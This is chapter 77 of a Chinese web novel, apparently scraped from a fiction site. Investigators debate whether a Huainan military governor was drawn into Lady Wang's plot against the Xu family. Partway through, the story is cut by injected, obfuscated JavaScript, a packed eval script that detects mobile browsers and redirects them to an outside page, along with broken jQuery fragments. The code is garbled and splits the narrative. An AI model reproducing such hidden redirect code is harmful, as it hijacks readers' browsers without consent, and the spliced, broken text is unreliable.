风竹小说 > 都市言情 > 王爷,案发现场禁止心动 > 77. 第 77 章
    谢霁僵在原地,“崔延武”这三个字像三块烧过的石块,砸在他脑子里,嗡嗡响得厉害。

    他舅舅,崔延武,淮南节度使啊。

    整个淮南的兵权握在手里不算,连大梁漕运命脉都得经他的手。

    这样的人物,别说跟“官商勾结”沾边。

    就是跟谁走得近了些,京里都得有人盯着。

    现在陆方回轻飘飘一句话,分明就是说崔延武跟王氏有牵扯,还谋徐家家产。

    这是要把整个清河崔氏往火坑里推!

    过了好一会儿,谢霁像是才反应过来,猛地蹦起来,伸手揪住他的衣领子。

    他气的手都在抖,声音也变了调:“你胡说什么?!

    诬陷我舅舅官商勾结?

    谋害徐丰衍?你知道这话要是传出去,能毁了多少人吗?!”

    裴知微在旁边没动。

    崔延武的位置太敏感了。

    兵权加漕运,本就是历代君主最在意的两样。

    再跟“扬州首富”的案子缠上,哪怕是捕风捉影,都足够引起圣上的猜忌。

    谢霁这反应,太正常了。

    萧云湛也没拦,只是往旁边挪了半步,挡住谢霁可能挥出去的手,眼神沉了沉,却没开口。

    他知道谢霁得发泄出来,不然憋在心里更乱,一会儿也听不进陆方回的话。

    陆方回被揪着衣领,却没半点慌的样子。

    脸上还是那副长者的慈爱,轻轻拍了拍谢霁的手背。

    力道不重,安抚的意味十足,声音慢悠悠的:“谢小侯爷,先松松手。

    老夫这把老骨头,经不住你这么揪着。

    有话慢慢说,急不得。”

    谢霁瞪着他,眼睛都红了。

    他攥着衣领的手紧了紧,又松了松,最后还是慢慢松开,嘴里恶狠狠地挤出声:

    “死老头,你要是不把事情说清楚,小爷保证你看不到明天的太阳!”

    陆方回也不在意谢霁的话,理了理被揪皱的衣领,坐下端起茶抿了一口。

    “你们查徐家的案子,是不是也已经查出徐仁那小子的转变是近两年的事情?”

    裴知微心里“哦?”了一声,直不楞登地问出口:“陆老爷子这话,合着您在徐府安了眼线啊?”

    陆方回闻言笑了,手里的茶盏在桌上轻轻磕了磕:“小娘子这话就见外了。

    哪个世家大族不在外头安排个把眼线?

    不然怎么知道地方上的动静?

    说起来,老夫要是细查,指不定我陆家宅子里,还有你们裴家的人呢。”

    裴知微赶紧摆手,“您可别这么说,我们裴家跟扬州陆家隔了千把里地。

    我大伯虽说在家主事有些能耐,可手也伸不了这么长。”

    “哦?”陆方回挑了挑眉,眼里带着点玩味,“小娘子还是小瞧你那位大伯了。”

    裴知微还想再辩两句,谢霁在旁边早按捺不住了。

    他伸手就打断两人的话,“别扯这些没用的!

    说我舅舅!你刚才说他跟王氏有关系,到底怎么回事?”

    陆方回慢悠悠放下茶盏,叹了口气:“谢小侯爷别急啊,老夫不得把前因后果说清楚?

    崔大人调来扬都,满打满算不到两年半。

    他刚到任那会儿,徐府的王恒就开始有动作了。”

    谢霁立马反驳,声音都高了些:“这跟我舅舅有什么关系?

    王恒搞事,难不成还是我舅舅让他干的?

    我舅舅刚到任,忙着熟悉兵权和漕运,哪有空插手徐家的闲事!”

    “老夫没说崔大人指使他啊。”陆方回摊了摊手,语气还是慢悠悠的。

    “只是后来,老夫无意中听到个消息,才觉得这里头可能不简单。”

    说到这儿,他又停住了,端起茶盏又抿了一口,像是在回忆,又像是故意吊人胃口。

    谢霁看得牙痒痒,差点又冲上去。

    萧云湛伸手攥住他的胳膊,力道不轻,凑到他耳边低声说:“先听他说完。

    你现在闹起来,反而让他有理由不说了。”

    谢霁胳膊甩了两下没甩开,只能咬着牙瞪陆方回,指节捏得“嘎巴”响,腮帮子鼓着,却没再往前冲。

    陆方回这才接着说:“后来老夫有次跟徐礼聊天,他提过一嘴。

    他去视察徐家在外地的商铺,半路上遇上了山匪,被堵在林子里,差点就没回来。

    也是巧,当时崔大人还不是淮南节度使,只是奉命来淮南巡查,正好路过,带着人把徐礼救了下来。”

    他顿了顿,眼神扫过众人:“然后没过两个月,朝廷的调令就下来了,

    崔大人正式调任淮南节度使。”

    裴知微皱着眉琢磨。

    这事儿听着就是巧合啊。

    崔大人当时巡查的路线是固定的,如果徐礼去的商铺也得从那条路上过,那一个遇上山匪,另一个碰到救人,本就是顺理成章的事。

    后续调任是朝廷的安排,跟救徐礼能有什么关系?

    她忍不住开口:“这事儿……听着就是赶巧了吧?”

    陆方回没直接回答,只是笑了笑,又往下说:“约莫一年前,张叙仁过生辰,请了不少人去府里赴宴,徐丰衍带着王氏也去了。

    席间张骁养的那条曾经咬死过人的恶犬突然冲了出来,直奔徐丰衍而去。

    被下人打开后,又掉头冲向王氏。

    王氏吓得都动不了了,眼看就要被咬着,又是崔大人出手,一剑就把狗杀了。”

    谢霁听得脑子发懵,“这又怎么了?救个人而已!

    我舅舅看到了总不能不管吧?”

    裴知微没说话,盯着陆方回,脑子里乱糟糟的。

    刚才还觉得是巧合,可现在越听越不对劲。

    徐家的人两次遇险,崔大人都恰好在场,而且每次之后,崔大人和徐家的关系都近了一层。

    她往前凑了凑,追问:“您老接着说,还有别的细节吗?”

    陆方回看着她,眼里的赞赏又多了几分,点了点头:“徐家后来确实备了大礼去谢崔大人,金银珠宝、珍稀字画都有。

    可崔大人没收,只挑了一件最普通的墨宝,还是前朝不知名画师的作品,说‘心意领了,太贵重的受不起’。

    之后也没听说王氏单独见过崔大人,徐丰衍跟崔大人的往来,也都是公开场合的寒暄,没什么私下接触。”

    裴知微手里的空酒杯在指间转着圈。

    突然,她好像从原本一团乱麻的思绪里找到了线头!

    她停下转酒杯的手,眼睛亮了亮,看向陆方回:“您老是不是想告诉我们,这一切都是王氏设计的?

    淮南节度使这个位置多少双眼睛盯着。

    哪个世家大族不是早早就知道会是谁继任?

    所以王氏也同样早就知道崔大人会是下一任淮南节度使。

    徐礼遇山匪,是她安排的。

    她早就知道崔大人那天会路过,所以才这么干。

    成了,徐礼死。

    徐家的家业将来极有可能是徐仁接手,而她其实早就知道徐仁对她的心思。

    不成,崔大人救了人,以徐丰衍对徐礼的看重,徐家自是欠他一份天大人情。”

    陆方回没说话,只是摸着胡子,笑呵呵地看着她。
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16599129|183929||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    p>

    裴知微仔细观察着他的神态,接着说:“张骁的恶犬咬人,应该也是王氏搞的鬼。

    若成了,徐丰衍不死也伤,由已经将崔大人视为救命恩人的徐礼执掌徐家。

    不成,崔大人当众救了她,徐家更得对他感恩戴德。

    这么算下来,不管成不成,最得利的都是崔大人……”

    她无意识地反转着手上的空酒杯,直直地盯着陆方回。

    “您老一路盯着我们的动向,知道我们摸到了王氏头上,便亲自赶来与我们说了这么多……

    肯定不是为了让谢小侯爷大义灭亲的……”

    她眼神一亮,笑着道:“您是给我们递线索。

    好让我们快一步查到王氏搞鬼的证据。

    不然等有心人把这事做实了,捅到京里。

    到时别说是崔大人,就是整个清河崔氏都得受牵连。

    您老这是给整个崔氏,也是给谢家送人情啊!”

    陆方回听完,突然朗声大笑,拍了拍桌子:“哈哈哈哈!还是女娃娃心思细腻!

    老夫果然没看错人!”

    谢霁在旁边听得一愣一愣的,反应了半天才反应过来,气得跳脚,指着陆方回:“你早说啊!

    绕这么大圈子!

    害得我差点以为我舅舅真干了什么糊涂事!

    要是我们刚才猜错了,我舅舅不就冤死了?”

    陆方回摊了摊手,一脸无辜:“老夫可什么都没说,从头到尾,都是你们自己猜的。”

    “你……”谢霁气得伸手就要去揪他的胡子,刚碰到几根,就被萧云湛一把拽了回来。

    萧云湛对着陆方回拱手:“陆老爷子,今日多谢您送来的线索。

    若是此事真如我们推测的那样,本王代谢家,也代崔大人,承了陆家的情。”

    陆方回摆了摆手,站起身:“罢了,时辰也不早了。

    老头子年纪大了,熬不住,该回去歇息了。

    你们年轻人,慢慢查吧。”

    说完,慢悠悠地往外走,张诚一直在外头候着,扶着他上了马车,很快就没了踪影。

    雅间里一下子安静下来,只剩下谢霁的抱怨声:“这帮死老头!

    说话就不能痛痛快快的?

    非得绕来绕去让人猜!

    要是猜错了,那可是要人命的!”

    他说着,又急得扯了扯衣领,一手抓着萧云湛,急道:“你可相信我舅舅?

    他绝对不会做任何与他人妇有任何逾举之事。

    更不可能联合王氏谋害徐丰衍,图谋徐家财产!”

    萧云湛拍了拍他的肩膀,语气沉稳:“别人不信我还能不信吗?

    你我自小也算是被他教导着长大的。

    崔大人的为人,朝廷里谁不知道?

    刚正不阿,连圣上都夸他‘能担大事’。

    只是这事牵扯太大,得亲口问问崔大人。

    看看他有什么说法。”

    谢霁叹了口气,耷拉着肩膀:“可我舅舅前几天就去巡视军营了,离扬州远着呢。

    不然我也不能这么自在地跑出来这么久,没人管我。”

    裴知微走过去,拍了拍谢霁的胳膊,语气肯定:“不管怎么样,现在最要紧的就是联系上崔大人。

    按照陆老爷子给的思路,这事的关键全在崔大人身上。

    若他知道些什么最好,咱们说不定能快些找到证据。”

    萧云湛点头,眼神严肃起来:“没错。

    要是王氏真有这么大的胆子,想借着徐家的案子扳倒崔大人,进而动摇清河崔氏。

    那估计留给咱们的时间可就不多了。”